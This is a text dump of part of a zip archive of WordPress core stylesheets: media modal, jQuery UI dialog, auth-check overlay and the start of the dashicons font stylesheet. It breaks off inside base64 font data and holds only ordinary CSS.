.button.media-frame-menu-toggle:hover, .wp-core-ui .button.media-frame-menu-toggle:active { background: transparent; transform: none; } .wp-core-ui .button.media-frame-menu-toggle:focus { /* Only visible in Windows High Contrast mode */ outline: 1px solid transparent; } /* End drop-down menu */ .media-sidebar { width: 230px; } .options-general-php .crop-content.site-icon, .wp-customizer:not(.mobile) .media-frame-content .crop-content.site-icon { margin-right: 262px; } .attachments-browser .attachments, .attachments-browser .uploader-inline, .attachments-browser .media-toolbar, .attachments-browser .attachments-wrapper, .attachments-browser.has-load-more .attachments-wrapper { right: 262px; } .attachments-browser .media-toolbar { height: 82px; } .attachments-browser .attachments, .attachments-browser .uploader-inline, .media-frame-content .attachments-browser .attachments-wrapper { top: 82px; } .media-sidebar .setting, .attachment-details .setting { margin: 6px 0; } .media-sidebar .setting input, .media-sidebar .setting textarea, .media-sidebar .setting .name, .attachment-details .setting input, .attachment-details .setting textarea, .attachment-details .setting .name, .compat-item label span { float: none; display: inline-block; } .media-sidebar .setting span, /* Back-compat for pre-5.3 */ .attachment-details .setting span, /* Back-compat for pre-5.3 */ .media-sidebar .checkbox-label-inline { float: none; } .media-sidebar .setting .select-label-inline { display: inline; } .media-sidebar .setting .name, .media-sidebar .checkbox-label-inline, .attachment-details .setting .name, .compat-item label span { text-align: inherit; min-height: 16px; margin: 0; padding: 8px 2px 2px; } /* Needs high specificity. */ .media-sidebar .setting .copy-to-clipboard-container, .attachment-details .attachment-info .copy-to-clipboard-container { margin-left: 0; padding-top: 0; } .media-sidebar .setting .copy-attachment-url, .attachment-details .attachment-info .copy-attachment-url { margin: 0 1px; } .media-sidebar .setting .value, .attachment-details .setting .value { float: none; width: auto; } .media-sidebar .setting input[type="text"], .media-sidebar .setting input[type="password"], .media-sidebar .setting input[type="email"], .media-sidebar .setting input[type="number"], .media-sidebar .setting input[type="search"], .media-sidebar .setting input[type="tel"], .media-sidebar .setting input[type="url"], .media-sidebar .setting textarea, .media-sidebar .setting select, .attachment-details .setting input[type="text"], .attachment-details .setting input[type="password"], .attachment-details .setting input[type="email"], .attachment-details .setting input[type="number"], .attachment-details .setting input[type="search"], .attachment-details .setting input[type="tel"], .attachment-details .setting input[type="url"], .attachment-details .setting textarea, .attachment-details .setting select, .attachment-details .setting + .description { float: none; width: 98%; max-width: none; height: auto; } .media-frame .media-toolbar input[type="search"] { line-height: 2.25; /* 36px */ } .media-sidebar .setting select.columns, .attachment-details .setting select.columns { width: auto; } .media-frame input, .media-frame textarea, .media-frame .search { padding: 3px 6px; } .wp-admin .media-frame select { min-height: 40px; font-size: 16px; line-height: 1.625; padding: 5px 24px 5px 8px; } .image-details .column-image { width: 30%; left: 70%; } .image-details .column-settings { width: 70%; } .image-details .media-modal { left: 30px; right: 30px; } .image-details .embed-media-settings .setting, .image-details .embed-media-settings .setting-group { margin: 20px; } .image-details .embed-media-settings .setting span, /* Back-compat for pre-5.3 */ .image-details .embed-media-settings .setting .name { float: none; text-align: left; width: 100%; margin-bottom: 4px; margin-left: 0; } .media-modal .legend-inline { position: static; transform: none; margin-left: 0; margin-bottom: 6px; } .image-details .embed-media-settings .setting-group .setting { margin-bottom: 0; } .image-details .embed-media-settings .setting input.link-to-custom, .image-details .embed-media-settings .setting input[type="text"], .image-details .embed-media-settings .setting textarea { width: 100%; margin-left: 0; } .image-details .embed-media-settings .setting.has-description { margin-bottom: 5px; } .image-details .description { width: auto; margin: 0 20px; } .image-details .embed-media-settings .custom-size { margin-left: 20px; } .collection-settings .setting input[type="checkbox"] { float: none; margin-top: 0; } .media-selection { min-width: 120px; } .media-selection:after { background: none; } .media-selection .attachments { display: none; } .media-modal .attachments-browser .media-toolbar .search { max-width: 100%; height: auto; float: right; } .media-modal .attachments-browser .media-toolbar .attachment-filters { height: auto; } /* Text inputs need to be 16px, or they force zooming on iOS */ .media-frame input[type="text"], .media-frame input[type="password"], .media-frame input[type="number"], .media-frame input[type="search"], .media-frame input[type="email"], .media-frame input[type="url"], .media-frame textarea, .media-frame select { font-size: 16px; line-height: 1.5; } .media-frame .media-toolbar input[type="search"] { line-height: 2.3755; /* 38px */ } .media-modal .media-toolbar .spinner { margin-bottom: 10px; } } @media screen and (max-width: 782px) { .imgedit-panel-content { grid-template-columns: auto; } .media-frame-toolbar .media-toolbar { bottom: -54px; } .mode-grid .attachments-browser .media-toolbar-primary { display: grid; grid-template-columns: auto 1fr; } .mode-grid .attachments-browser .media-toolbar-primary input[type="search"] { width: 100%; } .media-sidebar .copy-to-clipboard-container .success, .attachment-details .copy-to-clipboard-container .success { font-size: 14px; line-height: 2.71428571; } .media-frame .wp-filter .media-toolbar-secondary { position: unset; } .media-frame .media-toolbar-secondary .spinner { position: absolute; top: 0; bottom: 0; margin: auto; left: 0; right: 0; z-index: 9; } .media-bg-overlay { content: ''; background: #ffffff; width: 100%; height: 100%; display: none; position: absolute; left: 0; right: 0; top: 0; bottom: 0; opacity: 0.6; } } /* Responsive on portrait and landscape */ @media only screen and (max-width: 640px), screen and (max-height: 400px) { /* Full-bleed modal */ .media-modal, .image-details .media-modal { position: fixed; top: 0; left: 0; right: 0; bottom: 0; } .media-modal-backdrop { position: fixed; } .options-general-php .crop-content.site-icon, .wp-customizer:not(.mobile) .media-frame-content .crop-content.site-icon { margin-right: 0; } .media-sidebar { z-index: 1900; max-width: 70%; bottom: 120%; box-sizing: border-box; padding-bottom: 0; } .media-sidebar.visible { bottom: 0; } .attachments-browser .attachments, .attachments-browser .uploader-inline, .attachments-browser .media-toolbar, .media-frame-content .attachments-browser .attachments-wrapper { right: 0; } .image-details .media-frame-title { display: block; top: 0; font-size: 14px; } .image-details .column-image, .image-details .column-settings { width: 100%; position: relative; left: 0; } .image-details .column-settings { padding: 4px 0; } /* Media tabs on the top */ .media-frame-content .media-toolbar .instructions { display: none; } /* Change margin direction on load more button in responsive views. */ .load-more-wrapper .load-more-jump { margin: 12px 0 0; } } @media only screen and (min-width: 901px) and (max-height: 400px) { .media-menu, .media-frame:not(.hide-menu) .media-menu { top: 0; padding-top: 44px; } /* Change margin direction on load more button in responsive views. */ .load-more-wrapper .load-more-jump { margin: 12px 0 0; } } @media only screen and (max-width: 480px) { .wp-core-ui.wp-customizer .media-button { margin-top: 13px; } } /** * HiDPI Displays */ @media print, (min-resolution: 120dpi) { .wp-core-ui .media-modal-icon { background-image: url(../images/uploader-icons-2x.png); background-size: 134px 15px; } .media-frame .spinner { background-image: url(../images/spinner-2x.gif); } } .media-frame-content[data-columns="1"] .attachment { width: 100%; } .media-frame-content[data-columns="2"] .attachment { width: 50%; } .media-frame-content[data-columns="3"] .attachment { width: 33.33%; } .media-frame-content[data-columns="4"] .attachment { width: 25%; } .media-frame-content[data-columns="5"] .attachment { width: 20%; } .media-frame-content[data-columns="6"] .attachment { width: 16.66%; } .media-frame-content[data-columns="7"] .attachment { width: 14.28%; } .media-frame-content[data-columns="8"] .attachment { width: 12.5%; } .media-frame-content[data-columns="9"] .attachment { width: 11.11%; } .media-frame-content[data-columns="10"] .attachment { width: 10%; } .media-frame-content[data-columns="11"] .attachment { width: 9.09%; } .media-frame-content[data-columns="12"] .attachment { width: 8.33%; } PK!®Å ÙÙcss/classic-themes.cssnu„[µü¤/** * These rules are needed for backwards compatibility. * They should match the button element rules in the base theme.json file. */ .wp-block-button__link { color: #ffffff; background-color: #32373c; border-radius: 9999px; /* 100% causes an oval, but any explicit but really high value retains the pill shape. */ /* This needs a low specificity so it won't override the rules from the button element if defined in theme.json. */ box-shadow: none; text-decoration: none; /* The extra 2px are added to size solids the same as the outline versions.*/ padding: calc(0.667em + 2px) calc(1.333em + 2px); font-size: 1.125em; } .wp-block-file__button { background: #32373c; color: #ffffff; text-decoration: none; } PK!² ׫«css/jquery-ui-dialog.min.cssnuȯÝí/*! This file is auto-generated */ /*! * jQuery UI CSS Framework 1.11.4 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license * * http://api.jqueryui.com/category/theming/ */.ui-helper-hidden{display:none}.ui-helper-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none}.ui-helper-clearfix:after,.ui-helper-clearfix:before{content:"";display:table;border-collapse:collapse}.ui-helper-clearfix:after{clear:both}.ui-helper-clearfix{min-height:0}.ui-helper-zfix{width:100%;height:100%;top:0;left:0;position:absolute;opacity:0;filter:Alpha(Opacity=0)}.ui-front{z-index:100}.ui-state-disabled{cursor:default!important}.ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat}.ui-widget-overlay{position:fixed;top:0;left:0;width:100%;height:100%}/*! * jQuery UI Resizable 1.11.4 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */.ui-resizable{position:relative}.ui-resizable-handle{position:absolute;font-size:.1px;display:block;touch-action:none}.ui-resizable-autohide .ui-resizable-handle,.ui-resizable-disabled .ui-resizable-handle{display:none}.ui-resizable-n{cursor:n-resize;height:7px;width:100%;top:-5px;left:0}.ui-resizable-s{cursor:s-resize;height:7px;width:100%;bottom:-5px;left:0}.ui-resizable-e{cursor:e-resize;width:7px;right:-5px;top:0;height:100%}.ui-resizable-w{cursor:w-resize;width:7px;left:-5px;top:0;height:100%}.ui-resizable-se{cursor:se-resize;width:12px;height:12px;right:1px;bottom:1px}.ui-resizable-sw{cursor:sw-resize;width:9px;height:9px;left:-5px;bottom:-5px}.ui-resizable-nw{cursor:nw-resize;width:9px;height:9px;left:-5px;top:-5px}.ui-resizable-ne{cursor:ne-resize;width:9px;height:9px;right:-5px;top:-5px}.ui-button{display:inline-block;text-decoration:none;font-size:13px;line-height:2;height:28px;margin:0;padding:0 10px 1px;cursor:pointer;border-width:1px;border-style:solid;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-sizing:border-box;color:#50575e;border-color:#c3c4c7;background:#f6f7f7;box-shadow:0 1px 0 #c3c4c7;vertical-align:top}.ui-button:active,.ui-button:focus{outline:0}.ui-button::-moz-focus-inner{border-width:0;border-style:none;padding:0}.ui-button:focus,.ui-button:hover{background:#f6f7f7;border-color:#8c8f94;color:#1d2327}.ui-button:focus{border-color:#4f94d4;box-shadow:0 0 3px rgba(34,113,177,.8)}.ui-button:active{background:#f0f0f1;border-color:#8c8f94;box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5)}.ui-button:disabled,.ui-button[disabled]{color:#a7aaad!important;border-color:#dcdcde!important;background:#f6f7f7!important;box-shadow:none!important;text-shadow:0 1px 0 #fff!important;cursor:default;transform:none!important}@media screen and (max-width:782px){.ui-button{padding:6px 14px;line-height:normal;font-size:14px;vertical-align:middle;height:auto;margin-bottom:4px}}.ui-dialog{position:absolute;top:0;left:0;z-index:100102;background-color:#fff;box-shadow:0 3px 6px rgba(0,0,0,.3);overflow:hidden}.ui-dialog-titlebar{background:#fff;border-bottom:1px solid #dcdcde;height:36px;font-size:18px;font-weight:600;line-height:2;padding:0 36px 0 16px}.ui-button.ui-dialog-titlebar-close{background:0 0;border:none;box-shadow:none;color:#646970;cursor:pointer;display:block;padding:0;position:absolute;top:0;right:0;width:36px;height:36px;text-align:center;border-radius:0;overflow:hidden}.ui-dialog-titlebar-close:before{font:normal 20px/1 dashicons;vertical-align:top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;line-height:1.8;width:36px;height:36px;content:"\f158";content:"\f158"/''}.ui-button.ui-dialog-titlebar-close:focus,.ui-button.ui-dialog-titlebar-close:hover{color:#135e96}.ui-button.ui-dialog-titlebar-close:focus{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent;outline-offset:-2px}.ui-dialog-content{padding:16px;overflow:auto}.ui-dialog-buttonpane{background:#fff;border-top:1px solid #dcdcde;padding:16px}.ui-dialog-buttonpane .ui-button{margin-left:16px}.ui-dialog-buttonpane .ui-dialog-buttonset{float:right}.ui-draggable .ui-dialog-titlebar{cursor:move}.ui-widget-overlay{position:fixed;top:0;left:0;right:0;bottom:0;min-height:360px;background:#000;opacity:.7;z-index:100101}PK!znÛê!!css/wp-embed-template-ie.cssnuȯÝí/* Deprecated in WordPress 6.9 */PK!V§È]]css/wp-auth-check.min.cssnuȯÝí/*! This file is auto-generated */ #wp-auth-check-wrap.hidden{display:none}#wp-auth-check-wrap #wp-auth-check-bg{position:fixed;top:0;bottom:0;left:0;right:0;background:#000;opacity:.7;z-index:1000010}#wp-auth-check-wrap #wp-auth-check{position:fixed;left:50%;overflow:hidden;top:40px;bottom:20px;max-height:415px;width:380px;margin:0 0 0 -190px;padding:30px 0 0;background-color:#f0f0f1;z-index:1000011;box-shadow:0 3px 6px rgba(0,0,0,.3)}@media screen and (max-width:380px){#wp-auth-check-wrap #wp-auth-check{left:0;width:100%;margin:0}}#wp-auth-check-wrap.fallback #wp-auth-check{max-height:180px;overflow:auto}#wp-auth-check-wrap #wp-auth-check-form{height:100%;position:relative;overflow:auto;-webkit-overflow-scrolling:touch}#wp-auth-check-form.loading:before{content:"";display:block;width:20px;height:20px;position:absolute;left:50%;top:50%;margin:-10px 0 0 -10px;background:url(../images/spinner.gif) no-repeat center;background-size:20px 20px;transform:translateZ(0)}@media print,(min-resolution:120dpi){#wp-auth-check-form.loading:before{background-image:url(../images/spinner-2x.gif)}}#wp-auth-check-wrap #wp-auth-check-form iframe{height:98%;width:100%}#wp-auth-check-wrap .wp-auth-check-close{position:absolute;top:5px;right:5px;height:22px;width:22px;color:#787c82;text-decoration:none;text-align:center}#wp-auth-check-wrap .wp-auth-check-close:before{content:"\f158";content:"\f158"/'';font:normal 20px/22px dashicons;-webkit-font-smoothing:antialiased!important;-moz-osx-font-smoothing:grayscale}#wp-auth-check-wrap .wp-auth-check-close:focus,#wp-auth-check-wrap .wp-auth-check-close:hover{color:#2271b1}#wp-auth-check-wrap .wp-auth-fallback-expired{outline:0}#wp-auth-check-wrap .wp-auth-fallback{font-size:14px;line-height:1.5;padding:0 25px;display:none}#wp-auth-check-wrap.fallback .wp-auth-check-close,#wp-auth-check-wrap.fallback .wp-auth-fallback{display:block}PK!ÓÙc|æ|æcss/dashicons.min.cssnuȯÝí/*! This file is auto-generated */ @font-face{font-family:dashicons;src:url("../fonts/dashicons.eot?99ac726223c749443b642ce33df8b800");src:url("../fonts/dashicons.eot?99ac726223c749443b642ce33df8b800#iefix") format("embedded-opentype"),url("data:application/x-font-woff;charset=utf-8;base64,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